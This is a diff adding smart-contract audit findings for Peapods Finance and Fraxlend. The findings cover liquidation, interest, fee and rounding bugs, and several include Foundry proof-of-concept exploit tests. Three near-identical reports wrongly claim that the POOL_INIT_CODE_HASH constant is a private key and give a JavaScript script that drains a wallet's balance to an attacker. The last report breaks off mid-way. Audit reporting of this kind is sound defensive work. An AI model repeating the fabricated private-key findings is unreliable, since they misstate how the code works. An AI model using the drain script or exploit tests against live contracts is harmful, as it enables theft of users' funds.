+ `minCollateralRequiredOnDirtyLiquidation = 0.3e18`, `_sharesToLiquidate = 10e18`.
+ At this time:
+ `_ltv = 18e18 * 1e18 / 1e18 * 1e5 / 20e18 = 0.9e5 > maxLTV`. Therefore, `_isSolvent = false`.
+ In L1135, `_liquidationAmountInCollateralUnits = 18e18 * 1e5 / 1e5 = 18e18`.
+ In L1140, `_optimisticCollateralForLiquidator = 18e18 * (1e5 + 0.1e5) / 1e5 = 19.8e18`.
+ In L1145, `_leftoverCollateral = 20e18 - 19.8e18 = 0.2e18`
+ In L1149, `_collateralForLiquidator = 18e18 * (1e5 + 0.09e5) / 1e5 = 19.62e18`.
+ If the liquidation is successful, the remaining collateral is `20e18 - 19.62e18 = 0.38e18` > `minCollateralRequiredOnDirtyLiquidation`.
+ Therefore, this liquidation should not be reverted.
+ However, due to line 1179(`0.2e18 < 0.3e18`), this liquidation is reverted.
+Senario 2:
+ `_userCollateralBalance = 20e18`, `_borrowerShares = 10e18`, `_borrowerAmount = 18.2e18`, `_exchangeRate = 1e18`,
+ `maxLTV = 0.85e5`, `cleanLiquidationFee = 0.1e5`, `dirtyLiquidationFee = 0.09e5`,
+ `minCollateralRequiredOnDirtyLiquidation = 0.3e18`, `_sharesToLiquidate = 9.9e18`.
+ At this time:
+ `_ltv = 18.2e18 * 1e18 / 1e18 * 1e5 / 20e18 = 0.91e5 > maxLTV`. Therefore, `_isSolvent = false`.
+ In L1135, `_liquidationAmountInCollateralUnits = 18.018e18 * 1e5 / 1e5 = 18.018e18`.
+ In L1140, `_optimisticCollateralForLiquidator = 18.018e18 * (1e5 + 0.1e5) / 1e5 = 19.8198e18`.
+ In L1145, `_leftoverCollateral = 20e18 - 19.8198e18 = 0.1802e18`
+ In L1149, `_collateralForLiquidator = 18.018e18 * (1e5 + 0.09e5) / 1e5 = 19.63962e18`.
+ If the liquidation is successful, the remaining collateral is `20e18 - 19.63962e18 = 0.36038e18` > `minCollateralRequiredOnDirtyLiquidation`.
+ Therefore, this liquidation should not be reverted.
+ However, due to line 1179(`0.1802e18 < 0.3e18`), this liquidation is reverted.
+
+### Impact
+The liquidation could be reverted when it shouldn't.
+
+### Mitigation
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/fraxlend/src/contracts/FraxlendPairCore.sol#L1179
+```diff
+-1179: } else if (_leftoverCollateral < minCollateralRequiredOnDirtyLiquidation.toInt256()) {
++1179: } else if (_userCollateralBalance < _collateralForLiquidator + _feesAmount + minCollateralRequiredOnDirtyLiquidation) {
+```
\ No newline at end of file
diff --git a/226.md b/226.md
new file mode 100644
index 0000000..aef6062
--- /dev/null
+++ b/226.md
@@ -0,0 +1,63 @@
+Faithful Wooden Elephant
+
+Medium
+
+# Incorrect Interest Calculations After `rateContract` Change
+
+
+### Summary
+When the `FraxlendPair::rateContract` is changed, interest is not settled correctly.
+
+### Root Cause
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/fraxlend/src/contracts/FraxlendPair.sol#L363
+
+### Internal pre-conditions
+N/A
+
+### External pre-conditions
+N/A
+
+### Attack Path
+N/A
+
+### PoC
+```solidity
+431:function changeFee(uint32 _newFee) external {
+ _requireTimelock();
+ if (isInterestPaused) revert InterestPaused();
+ if (_newFee > MAX_PROTOCOL_FEE) {
+ revert BadProtocolFee();
+ }
+ _addInterest();
+ currentRateInfo.feeToProtocolRate = _newFee;
+ emit ChangeFee(_newFee);
+ }
+```
+As we can see, interest is calculated when the `feeProtocolRate` changes.
+
+```solidity
+363:function setRateContract(address _newRateContract) external {
+ _requireTimelock();
+ if (isRateContractSetterRevoked) revert SetterRevoked();
+ emit SetRateContract(address(rateContract), _newRateContract);
+ rateContract = IRateCalculatorV2(_newRateContract);
+ }
+```
+However, interest is not calculated when the `rateContract` changes.
+If `rateContract` is changed, the `interestRate` can also change significantly.
+As a result, there can be a significant difference in the interests.
+
+### Impact
+Interest calculations that accrued before `rateContract` was changed is incorrect.
+
+### Mitigation
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/fraxlend/src/contracts/FraxlendPairCore.sol#L456
+```diff
+363:function setRateContract(address _newRateContract) external {
+ _requireTimelock();
+ if (isRateContractSetterRevoked) revert SetterRevoked();
+ emit SetRateContract(address(rateContract), _newRateContract);
++ _addInterest();
+ rateContract = IRateCalculatorV2(_newRateContract);
+ }
+```
\ No newline at end of file
diff --git a/227.md b/227.md
new file mode 100644
index 0000000..f97b770
--- /dev/null
+++ b/227.md
@@ -0,0 +1,102 @@
+Fast Khaki Raccoon
+
+High
+
+# Missing slippage when debonding will cause a serious loss for the last withdrawer
+
+### Summary
+
+Missing slippage when debonding will cause a serious loss for the last withdrawer
+
+### Root Cause
+
+Debonding from a pod has a debonding fee for every withdrawer except the last one (or if whitelisted from debond fee):
+```solidity
+ uint256 _amountAfterFee = _isLastOut(_amount) || REWARDS_WHITELIST.isWhitelistedFromDebondFee(_msgSender()) ? _amount : (_amount * (DEN - _fees.debond)) / DEN;
+```
+This means that the last withdrawer can be either maliciously or accidentally frontran by another user depositing which will result in a direct loss for him as he will incur a debonding fee unexpectedly. The losses with a debonding fee of 2% are close to 2% and close to 50\$ (assuming token is WETH at 2500\$ price) which pass the criteria for high severity according to the docs (required for high is 1% and 10\$), you can check POC to confirm.
+
+### Internal Pre-conditions
+
+1. User withdraws as last withdrawor, he gets frontran by another user who deposits, either maliciously or accidentally
+
+### External Pre-conditions
+
+No such
+
+### Attack Path
+
+Attack path is somewhat clear, the issue is simple. Check the POC section to see it however and see the exact loss as well.
+
+### Impact
+
+Loss of funds, 48\$ and ~2% if the debonding fee is 2% which is perfectly normal and expected, these numbers are sufficient of High severity.
+
+### PoC
+
+Paste the following function in `DecentralizedIndex` so we can set the fee:
+```solidity
+function setFees() public {
+ _fees.debond = 200;
+ }
+```
+Then, paste the following POC in `WeightedIndex.t.sol`:
+```solidity
+ function testNoSlippageLoss() public {
+ assertEq(pod.totalSupply(), 0); // Empty pod
+ IDecentralizedIndex.IndexAssetInfo[] memory assets = pod.getAllAssets();
+ assertEq(assets.length, 1); // 1 token
+ pod.setFees();
+ /* ADDED THE BELOW FUNCTION, 2% DEBOND FEE
+ function setFees() public {
+ _fees.debond = 200;
+ }
+ */
+
+ address user1 = makeAddr('user1');
+ address user2 = makeAddr('user2');
+ address token = assets[0].token;
+
+ deal(token, user1, 1e18);
+ deal(token, user2, 1e18);
+
+ uint256 initialBalance = IERC20(token).balanceOf(user1);
+ vm.startPrank(user1);
+ IERC20(token).approve(address(pod), type(uint256).max);
+ pod.bond(token, 1e18, 0); // User 1 deposits
+ vm.stopPrank();
+
+ // User1 wants to withdraw but gets frontran by the user2 deposit!
+ vm.startPrank(user2);
+ IERC20(token).approve(address(pod), type(uint256).max);
+ pod.bond(token, 1e18, 0);
+ vm.stopPrank();
+
+ assertEq(pod.balanceOf(user1), 1e18);
+ address[] memory x = new address[](0);
+ uint8[] memory y = new uint8[](0);
+ vm.startPrank(user1);
+ pod.debond(pod.balanceOf(user1), x, y);
+ vm.stopPrank();
+
+ assertEq(pod.balanceOf(user1), 0);
+
+ console.log("Percentage loss in 1e18 format:");
+ console.log((initialBalance - IERC20(token).balanceOf(user1)) * 1e18 / initialBalance); // % loss
+ console.log("Dollar loss:");
+ console.log((initialBalance - IERC20(token).balanceOf(user1)) * 2500 / 1e18); // Dollar loss assuming ETH price is 2500$
+ }
+```
+
+LOGS:
+```solidity
+Percentage loss in 1e18 format:
+19509754877438720
+Dollar loss:
+48
+```
+
+
+### Mitigation
+
+Add slippage when debonding whether a user is fine with getting charged a debonding fee
\ No newline at end of file
diff --git a/228.md b/228.md
new file mode 100644
index 0000000..fee6316
--- /dev/null
+++ b/228.md
@@ -0,0 +1,162 @@
+Perfect Porcelain Snail
+
+High
+
+# Double extraction of debond Fee in `_calculateBasePerPTkn()` leading to incorrect price base per pTKN
+
+### Summary
+
+The debond fee is subtracted twice during the price conversion in [`_calculateBasePerPTkn()`](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/oracle/spTKNMinimalOracle.sol#L170). This double fee extraction results in an under calculation of the base per pTKN price.
+
+### Root Cause
+
+The fee is applied in two places:
+
+1. **First Extraction**
+ Within the conversion logic of [`_accountForCBRInPrice()`](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/oracle/spTKNMinimalOracle.sol#L231), which is used indirectly during the execution of `convertToAssets()` in [WeightedIndex.sol](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/WeightedIndex.sol#L120).
+
+ ```Solidity
+ /// @notice The ```convertToAssets``` function returns the number of TKN returned based on burning _shares pTKN excluding fees
+ /// @param _shares Number of pTKN to burn
+ /// @return _assets Number of TKN[0] to be returned to user from pod
+ function convertToAssets(uint256 _shares) external view override returns (uint256 _assets) {
+ bool _firstIn = _isFirstIn();
+ uint256 _percSharesX96_2 = _firstIn ? 2 ** (96 / 2) : (_shares * 2 ** (96 / 2)) / _totalSupply;
+ if (_firstIn) {
+ _assets = (indexTokens[0].q1 * _percSharesX96_2) / FixedPoint96.Q96 / 2 ** (96 / 2);
+ } else {
+ _assets = (_totalAssets[indexTokens[0].token] * _percSharesX96_2) / 2 ** (96 / 2);
+ }
+ _assets -= ((_assets * _fees.debond) / DEN);
+ }
+ ```
+
+2. **Second Extraction**
+ Explicitly in [`_accountForUnwrapFeeInPrice()`](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/oracle/spTKNMinimalOracle.sol#L246):
+
+ ```solidity
+ function _accountForUnwrapFeeInPrice(address _pod, uint256 _currentPrice)
+ internal
+ view
+ returns (uint256 _newPrice)
+ {
+ uint16 _unwrapFee = IDecentralizedIndex(_pod).DEBOND_FEE();
+ _newPrice = _currentPrice - (_currentPrice * _unwrapFee) / 10000;
+ }
+ ```
+
+Together, these lead to the debond fee being deducted twice, thus lowering the calculated `_basePerPTkn18` value this directly affects the outputs of functions like [`getPodPerBasePrice()`](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/oracle/spTKNMinimalOracle.sol#L104C14-L104C32) and [`getPrices()`](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/oracle/spTKNMinimalOracle.sol#L145), resulting in incorrect asset valuations.
+
+### Internal Pre-conditions
+
+1. The pod’s debond fee is non-zero.
+
+### External Pre-conditions
+
+N/A
+
+### Attack Path
+
+1. A user (or attacker) call a function that will query the conversion rate such as `getPodPerBasePrice()` or `getPrices()`.
+2. Internally, the system calls `_calculateBasePerPTkn()`:
+ - First, the conversion applies the debond fee via `_accountForCBRInPrice()` during the native conversion logic.
+ - Next, the same fee is subtracted again in `_accountForUnwrapFeeInPrice()`.
+3. This double fee deduction leads to an under calculated conversion price.
+
+### Impact
+
+The following functions are using `_calculateBasePerPTkn()`:
+
+- The function `getPrices` is used to calculate the spTKN collateral value, which plays a critical role in determining the borrowing capacity in Frax Lend pairs. Due to the double extraction of the debond fee, this function return an undervalued conversion rate. Consequently, spTKN collateral is undervalued, meaning they are allowed to borrow less than they would if the fees were applied correctly.
+
+- The function `getPodPerBasePrice` is used in `AutoCompoundingPodLp.sol` in order to swap pairedAsset to Pod. A wrong price calculation will lead to an incorrect swap amount.
+
+### PoC
+
+The following PoC (derived from [test_getPodPerBasePrice_PEASDAI()](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/test/oracle/spTKNMinimalOracle.t.sol#L71C14-L71C45) demonstrates the issue:
+
+
+```sh
+forge test -vvvv --match-path test/oracle/poc_extract_double_time_fees.t.sol --fork-url https://rpc.mevblocker.io
+```
+
+[poc_extract_double_time_fees.t.sol.txt](https://github.com/user-attachments/files/18787095/poc_extract_double_time_fees.t.sol.txt)
+[spTKNMinimalOracleSuggested.sol.txt](https://github.com/user-attachments/files/18787096/spTKNMinimalOracleSuggested.sol.txt)
+
+**Context**:
+- Use the same setup as test_getPodPerBasePrice_PEASDAI()
+- spTKNMinimalOracleSuggested removed `_accountForUnwrapFeeInPrice()`
+
+```Solidity
+function test_extractDebondFeeTwoTimes() public {
+
+
+ spTKNMinimalOracleSuggested oraclePEASDAISuggested = new spTKNMinimalOracleSuggested(
+ abi.encode(
+ address(_clOracle),
+ address(_uniOracle),
+ address(_diaOracle),
+ 0x6B175474E89094C44Da98b954EedeAC495271d0F, // DAI
+ false,
+ false,
+ IDecentralizedIndex(_newPod).lpStakingPool(),
+ 0xAe750560b09aD1F5246f3b279b3767AfD1D79160 // UniV3: PEAS / DAI
+ ),
+ abi.encode(address(0), address(0), address(0), address(0), address(0), address(_v2Res))
+ );
+
+ uint256 _currentPrice18 = oraclePEASDAI.getPodPerBasePrice();
+ uint256 _suggestedPrice18 = oraclePEASDAISuggested.getPodPerBasePrice();
+
+
+
+ // Calculate the result of _accountForCBRInPrice() manually in order to check the difference
+
+ // From the report of Guardian audits
+ // (_amtUnderlying * IERC20(_underlying).balanceOf(_pod) * 10 * IERC20Metadata(_pod).decimals()) /
+ // IERC20(_pod).totalSupply() / 10 * IERC20Metadata(_underlying).decimals();
+
+ (, uint256 _amtUnderlying) = IMinimalSinglePriceOracle(oraclePEASDAI.UNISWAP_V3_SINGLE_PRICE_ORACLE()).getPriceUSD18(
+ oraclePEASDAI.BASE_CONVERSION_CHAINLINK_FEED(), oraclePEASDAI.underlyingTkn(), oraclePEASDAI.UNDERLYING_TKN_CL_POOL(), 10 minutes
+ );
+
+ IDecentralizedIndex.IndexAssetInfo[] memory _assets = IDecentralizedIndex(_newPod).getAllAssets();
+ address underlyingTkn = _assets[0].token;
+
+ uint256 _manualAccountForCBRInPrice;
+ uint256 totalSupply = IDecentralizedIndex(_newPod).totalSupply();
+ uint256 totalAssets = IDecentralizedIndex(_newPod).totalAssets();
+ {
+ _manualAccountForCBRInPrice = (_amtUnderlying * totalAssets * 10 ** IERC20Metadata(_newPod).decimals()) /
+ totalSupply / 10 ** IERC20Metadata(underlyingTkn).decimals();
+ }
+
+ uint16 _unwrapFee = IDecentralizedIndex(_newPod).DEBOND_FEE();
+ _manualAccountForCBRInPrice = _manualAccountForCBRInPrice - (_manualAccountForCBRInPrice * _unwrapFee) / 10000;
+ uint256 _manualPricePTknPerBase18 = 10 ** (18 * 2) / _manualAccountForCBRInPrice;
+
+
+ console.log("_currentPrice18 : %s", _currentPrice18); // console::log("_currentPrice18 : %s", 178425338811729054 [1.784e17])
+ console.log("_suggestedPrice18 : %s", _suggestedPrice18); // console::log("_suggestedPrice18 : %s", 175748958729553118 [1.757e17])
+ console.log("_manualPricePTknPerBase18 : %s", _manualPricePTknPerBase18); // console::log("_manualPricePTknPerBase18 : %s", 175748958729241579 [1.757e17])
+
+ uint256 diffCurrentSuggested = _currentPrice18 - _suggestedPrice18;
+ console.log("diffCurrentSuggested : %s", diffCurrentSuggested); // console::log("diffCurrentSuggested : %s", 2676380082175936 [2.676e15])
+
+ assertGt(_currentPrice18, _suggestedPrice18);
+
+ uint256 diffSuggestedManual = _suggestedPrice18 - _manualPricePTknPerBase18;
+ console.log("diffSuggestedManual : %s", diffSuggestedManual); // console::log("diffSuggestedManual : %s", 311539 [3.115e5])
+
+ // Check that the manual and suggested has the same result ==> Theoric and new implementation matched
+ assertApproxEqAbs(_suggestedPrice18, _manualPricePTknPerBase18 , 1e6);
+ // Check that manual + diffCurrentSuggested = _currentPrice18 ==> Theoric + excess unwrap fee = current implementation
+ assertApproxEqAbs(_currentPrice18, _manualPricePTknPerBase18 + diffCurrentSuggested, 1e6);
+ }
+```
+
+
+### Mitigation
+
+Remove the redundant fee extraction by eliminating the call to `_accountForUnwrapFeeInPrice()` in `_calculateBasePerPTkn()`. This ensures that the debond fee is only applied once during the price conversion process, yielding a correct base per pTKN conversion rate.
+
diff --git a/229.md b/229.md
new file mode 100644
index 0000000..075f99c
--- /dev/null
+++ b/229.md
@@ -0,0 +1,66 @@
+Fast Khaki Raccoon
+
+Medium
+
+# `mint` and `withdraw` round towards the user possibly causing insolvency
+
+### Summary
+
+`mint` and `withdraw` round towards the user inside both `AutoCompoundingPodLp` and `LendingAssetVault`
+
+### Root Cause
+
+`mint` would round the user required assets down, meaning that for the same amount of shares less assets would be required.
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/LendingAssetVault.sol#L120-L124
+```solidity
+ function mint(uint256 _shares, address _receiver) external override returns (uint256 _assets) {
+ _updateInterestAndMdInAllVaults(address(0));
+
+ // shares * cbr / 1e27
+ _assets = convertToAssets(_shares);
+ _deposit(_assets, _shares, _receiver);
+ }
+```
+
+Note that the same is with `withdraw` where the user shares burned are rounded down.
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/LendingAssetVault.sol#L136-L140
+```solidity
+ function withdraw(uint256 _assets, address _receiver, address _owner) external override returns (uint256 _shares) {
+ _updateInterestAndMdInAllVaults(address(0));
+
+ // shares = assets * 1e27 / cbr
+ _shares = convertToShares(_assets);
+ _withdraw(_shares, _assets, _owner, _msgSender(), _receiver);
+ }
+```
+
+### Internal Pre-conditions
+
+none
+
+### External Pre-conditions
+
+none
+
+### Attack Path
+
+There is no attack path, this issue will appear with every mint/withdraw.
+
+Example scenario would be:
+1. If cbr is 0.9 200 shares will require `200 * 9 / 10 = 180` assets
+2. User can call mint with 201 shares and pay `201 * 9 / 10 = 180.9` which would round down to 180 assets.
+
+### Impact
+
+`mint` and `withdraw` round towards the user, possibly causing insolvency
+
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Always round towards the system, in the aforementioned functions consider rounding up. in order to charge the user more assets inside `mint` and burn more shares inside `withdraw`.
\ No newline at end of file
diff --git a/230.md b/230.md
new file mode 100644
index 0000000..b0ac643
--- /dev/null
+++ b/230.md
@@ -0,0 +1,70 @@
+Rhythmic Azure Manatee
+
+High
+
+# An attacker will gain full control over the pool address leading to unauthorized fund withdrawals
+
+### Summary
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/libraries/PoolAddress.sol#L6
+
+A private key is hardcoded in the `PoolAddress.sol` contract, which an attacker can easily extract and use to take full control of the associated wallet. This exposure allows the attacker to drain all funds or execute arbitrary transactions from that wallet on the protocol’s behalf.
+
+### Root Cause
+
+In `PoolAddress.sol:6`, the private key is stored in the constant POOL_INIT_CODE_HASH. This means the secret key is embedded in the compiled contract bytecode, making it publicly accessible on-chain. Anyone can read the blockchain data and obtain this hardcoded key.
+
+### Internal Pre-conditions
+
+1. The vulnerable contract is deployed with the current `POOL_INIT_CODE_HASH` value containing the private key.
+2. An attacker is able to retrieve the contract’s on-chain bytecode (e.g. via an Ethereum node or block explorer) and locate the embedded key.
+
+### External Pre-conditions
+
+1. The pool’s wallet (controlled by the exposed private key) holds sufficient funds or valuable assets to motivate an attack.
+
+### Attack Path
+
+1. Extract the key: The attacker fetches the deployed contract’s bytecode and extracts the `POOL_INIT_CODE_HASH` constant value, which is the private key. This can be done using an RPC call like `eth_getCode` or by inspecting the bytecode on a blockchain explorer.
+2. Import into wallet: Using the stolen key, the attacker imports it into a wallet or scripting environment (e.g. via web3/ethers libraries) to assume control of the corresponding address.
+3. Take over funds: Now acting as the wallet owner, the attacker can transfer out all funds or perform any transactions from the pool’s address (since they possess the wallet’s private key credentials).
+
+### Impact
+
+- The protocol (and its users) would suffer a total loss of all funds held by the affected pool wallet. An attacker with the private key can instantly transfer out or reallocate the assets – in known incidents, wallets have been drained within seconds of key exposure. Essentially, the attacker gains complete and irreversible control over the wallet and its funds.
+
+### PoC
+
+Below is a pseudocode example demonstrating how an attacker might exploit this issue by extracting the key and using it to withdraw funds:
+```js
+// Pseudocode: Extract key from contract bytecode and drain funds
+const { ethers } = require("ethers");
+const provider = new ethers.providers.JsonRpcProvider("");
+
+// Address of the deployed PoolAddress contract
+const contractAddress = "";
+
+// 1. Get the contract's runtime bytecode
+const bytecode = await provider.getCode(contractAddress);
+
+// 2. Extract the hardcoded private key (POOL_INIT_CODE_HASH) from the bytecode
+// (In practice, one could search the bytecode for the known 32-byte value.)
+const leakedKeyHex = "0x"; // 32-byte private key in hex
+
+// 3. Import the private key into an ethers Wallet (attacker now controls the pool wallet)
+const compromisedWallet = new ethers.Wallet(leakedKeyHex, provider);
+console.log("Compromised wallet address:", compromisedWallet.address);
+
+// 4. Use the compromised wallet to send all funds to the attacker's address
+const tx = await compromisedWallet.sendTransaction({
+ to: "",
+ value: await provider.getBalance(compromisedWallet.address) // send all ETH
+});
+console.log("Funds drained in tx:", tx.hash);
+```
+This script illustrates that once the constant is obtained, the attacker can create a wallet instance with the private key and then freely transfer assets to their own address.
+
+### Mitigation
+
+1. Do not hardcode private keys: Never store private keys or other secrets directly in smart contract code. Anything on-chain is visible to the public and can be extracted by malicious parties.
+2. Use secure key management: Keep keys in environment variables or a secure key management service, and pass them to the contract or application at runtime (or use external signing/oracles) instead of baking them into the contract. This way, the key is not exposed in the bytecode or repository.
\ No newline at end of file
diff --git a/231.md b/231.md
new file mode 100644
index 0000000..c6fcd50
--- /dev/null
+++ b/231.md
@@ -0,0 +1,70 @@
+Rhythmic Azure Manatee
+
+High
+
+# An attacker will gain full control via PoolAddressAlgebra leading to unauthorized fund withdrawals
+
+### Summary
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/libraries/PoolAddressAlgebra.sol#L6
+
+A private key is hardcoded in the `PoolAddressAlgebra.sol` contract, which an attacker can easily extract and use to take full control of the associated wallet. This exposure allows the attacker to drain all funds or execute arbitrary transactions from that wallet on the protocol’s behalf.
+
+### Root Cause
+
+In `PoolAddressAlgebra.sol:6`, the private key is stored in the constant POOL_INIT_CODE_HASH. This means the secret key is embedded in the compiled contract bytecode, making it publicly accessible on-chain. Anyone can read the blockchain data and obtain this hardcoded key.
+
+### Internal Pre-conditions
+
+1. The vulnerable contract is deployed with the current `POOL_INIT_CODE_HASH` value containing the private key.
+2. An attacker is able to retrieve the contract’s on-chain bytecode (e.g. via an Ethereum node or block explorer) and locate the embedded key.
+
+### External Pre-conditions
+
+1. The pool’s wallet (controlled by the exposed private key) holds sufficient funds or valuable assets to motivate an attack.
+
+### Attack Path
+
+1. Extract the key: The attacker fetches the deployed contract’s bytecode and extracts the `POOL_INIT_CODE_HASH` constant value, which is the private key. This can be done using an RPC call like `eth_getCode` or by inspecting the bytecode on a blockchain explorer.
+2. Import into wallet: Using the stolen key, the attacker imports it into a wallet or scripting environment (e.g. via web3/ethers libraries) to assume control of the corresponding address.
+3. Take over funds: Now acting as the wallet owner, the attacker can transfer out all funds or perform any transactions from the pool’s address (since they possess the wallet’s private key credentials).
+
+### Impact
+
+- The protocol (and its users) would suffer a total loss of all funds held by the affected pool wallet. An attacker with the private key can instantly transfer out or reallocate the assets – in known incidents, wallets have been drained within seconds of key exposure. Essentially, the attacker gains complete and irreversible control over the wallet and its funds.
+
+### PoC
+
+Below is a pseudocode example demonstrating how an attacker might exploit this issue by extracting the key and using it to withdraw funds:
+```js
+// Pseudocode: Extract key from contract bytecode and drain funds
+const { ethers } = require("ethers");
+const provider = new ethers.providers.JsonRpcProvider("");
+
+// Address of the deployed PoolAddressAlgebra contract
+const contractAddress = "";
+
+// 1. Get the contract's runtime bytecode
+const bytecode = await provider.getCode(contractAddress);
+
+// 2. Extract the hardcoded private key (POOL_INIT_CODE_HASH) from the bytecode
+// (In practice, one could search the bytecode for the known 32-byte value.)
+const leakedKeyHex = "0x"; // 32-byte private key in hex
+
+// 3. Import the private key into an ethers Wallet (attacker now controls the pool wallet)
+const compromisedWallet = new ethers.Wallet(leakedKeyHex, provider);
+console.log("Compromised wallet address:", compromisedWallet.address);
+
+// 4. Use the compromised wallet to send all funds to the attacker's address
+const tx = await compromisedWallet.sendTransaction({
+ to: "",
+ value: await provider.getBalance(compromisedWallet.address) // send all ETH
+});
+console.log("Funds drained in tx:", tx.hash);
+```
+This script illustrates that once the constant is obtained, the attacker can create a wallet instance with the private key and then freely transfer assets to their own address.
+
+### Mitigation
+
+1. Do not hardcode private keys: Never store private keys or other secrets directly in smart contract code. Anything on-chain is visible to the public and can be extracted by malicious parties.
+2. Use secure key management: Keep keys in environment variables or a secure key management service, and pass them to the contract or application at runtime (or use external signing/oracles) instead of baking them into the contract. This way, the key is not exposed in the bytecode or repository.
\ No newline at end of file
diff --git a/232.md b/232.md
new file mode 100644
index 0000000..55bf307
--- /dev/null
+++ b/232.md
@@ -0,0 +1,70 @@
+Rhythmic Azure Manatee
+
+High
+
+# An attacker will gain full control via PoolAddressKimMode leading to unauthorized fund withdrawals
+
+### Summary
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/libraries/PoolAddressKimMode.sol#L6
+
+A private key is hardcoded in the `PoolAddressKimMode.sol` contract, which an attacker can easily extract and use to take full control of the associated wallet. This exposure allows the attacker to drain all funds or execute arbitrary transactions from that wallet on the protocol’s behalf.
+
+### Root Cause
+
+In `PoolAddressKimMode.sol:6`, the private key is stored in the constant POOL_INIT_CODE_HASH. This means the secret key is embedded in the compiled contract bytecode, making it publicly accessible on-chain. Anyone can read the blockchain data and obtain this hardcoded key.
+
+### Internal Pre-conditions
+
+1. The vulnerable contract is deployed with the current `POOL_INIT_CODE_HASH` value containing the private key.
+2. An attacker is able to retrieve the contract’s on-chain bytecode (e.g. via an Ethereum node or block explorer) and locate the embedded key.
+
+### External Pre-conditions
+
+1. The pool’s wallet (controlled by the exposed private key) holds sufficient funds or valuable assets to motivate an attack.
+
+### Attack Path
+
+1. Extract the key: The attacker fetches the deployed contract’s bytecode and extracts the `POOL_INIT_CODE_HASH` constant value, which is the private key. This can be done using an RPC call like `eth_getCode` or by inspecting the bytecode on a blockchain explorer.
+2. Import into wallet: Using the stolen key, the attacker imports it into a wallet or scripting environment (e.g. via web3/ethers libraries) to assume control of the corresponding address.
+3. Take over funds: Now acting as the wallet owner, the attacker can transfer out all funds or perform any transactions from the pool’s address (since they possess the wallet’s private key credentials).
+
+### Impact
+
+- The protocol (and its users) would suffer a total loss of all funds held by the affected pool wallet. An attacker with the private key can instantly transfer out or reallocate the assets – in known incidents, wallets have been drained within seconds of key exposure. Essentially, the attacker gains complete and irreversible control over the wallet and its funds.
+
+### PoC
+
+Below is a pseudocode example demonstrating how an attacker might exploit this issue by extracting the key and using it to withdraw funds:
+```js
+// Pseudocode: Extract key from contract bytecode and drain funds
+const { ethers } = require("ethers");
+const provider = new ethers.providers.JsonRpcProvider("");
+
+// Address of the deployed PoolAddressKimMode contract
+const contractAddress = "";
+
+// 1. Get the contract's runtime bytecode
+const bytecode = await provider.getCode(contractAddress);
+
+// 2. Extract the hardcoded private key (POOL_INIT_CODE_HASH) from the bytecode
+// (In practice, one could search the bytecode for the known 32-byte value.)
+const leakedKeyHex = "0x"; // 32-byte private key in hex
+
+// 3. Import the private key into an ethers Wallet (attacker now controls the pool wallet)
+const compromisedWallet = new ethers.Wallet(leakedKeyHex, provider);
+console.log("Compromised wallet address:", compromisedWallet.address);
+
+// 4. Use the compromised wallet to send all funds to the attacker's address
+const tx = await compromisedWallet.sendTransaction({
+ to: "",
+ value: await provider.getBalance(compromisedWallet.address) // send all ETH
+});
+console.log("Funds drained in tx:", tx.hash);
+```
+This script illustrates that once the constant is obtained, the attacker can create a wallet instance with the private key and then freely transfer assets to their own address.
+
+### Mitigation
+
+1. Do not hardcode private keys: Never store private keys or other secrets directly in smart contract code. Anything on-chain is visible to the public and can be extracted by malicious parties.
+2. Use secure key management: Keep keys in environment variables or a secure key management service, and pass them to the contract or application at runtime (or use external signing/oracles) instead of baking them into the contract. This way, the key is not exposed in the bytecode or repository.
\ No newline at end of file
diff --git a/233.md b/233.md
new file mode 100644
index 0000000..c81b4ae
--- /dev/null
+++ b/233.md
@@ -0,0 +1,601 @@
+Witty Chartreuse Starling
+
+High
+
+# The attacker can steal rewards from AutoCompoundingPodLP because in _processRewardsToPodLp, the rewards from TokenRewards are not distributed
+
+### Summary
+
+Since the rewards from TokenRewards are not distributed in `_processRewardsToPodLp`, an attacker can deposit into AutoCompoundingPodLp in a single transaction, then distribute the rewards, and subsequently withdraw, receiving a portion of the rewards that were not intended for them.
+
+### Root Cause
+
+AutoCompoundingPodLp uses `_processRewardsToPodLp` to convert (compound) the rewards it receives from the TokenRewards contract into spTKNs. The problem here is that at the beginning of this function, the rewards from TokenRewards are not distributed, which can lead to these rewards being compounded too late.
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/AutoCompoundingPodLp.sol#L213-L231
+In this code snippet, you can see that rewards are not distributed anywhere in the function.
+
+The important point here is that if there is more than one rewards token, rewards are distributed, because `_tokenToPodLp` is called for the tokens with a non-zero balance. Since `_tokenToPodLp` converts the reward token into `spTKN`, rewards are distributed because when `spTKN` is sent to `AutoCompoundingPodLp`, `setShares` in `TokenRewards` is triggered, which then distributes the rewards:
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/TokenRewards.sol#L113-L116
+In this case, the rewards are indeed in AutoCompoundingPodLp, but since `_tokenToPodLp` has already been called for some reward tokens, not all of these rewards are immediately compounded. This leads to some rewards remaining in AutoCompoundingPodLp, which can be stolen by an attacker.
+
+But if there are no rewards (`_bal` of all reward tokens is 0) in the AutoCompoundingLp at all, distribute will not be called, even if there are multiple reward tokens, because `_tokenToPodLp` simply would not be called since there is nothing to compound.
+
+### Internal Pre-conditions
+
+1. TokenRewards must have some rewards for an attacker to be able to steal them
+
+### External Pre-conditions
+
+No external pre-conditions
+
+### Attack Path
+
+1. It is assumed that there are rewards in TokenRewards for AutoCompoundingPodLp that have not yet been distributed. Currently, there are no rewards in AutoCompoundingPodLp.
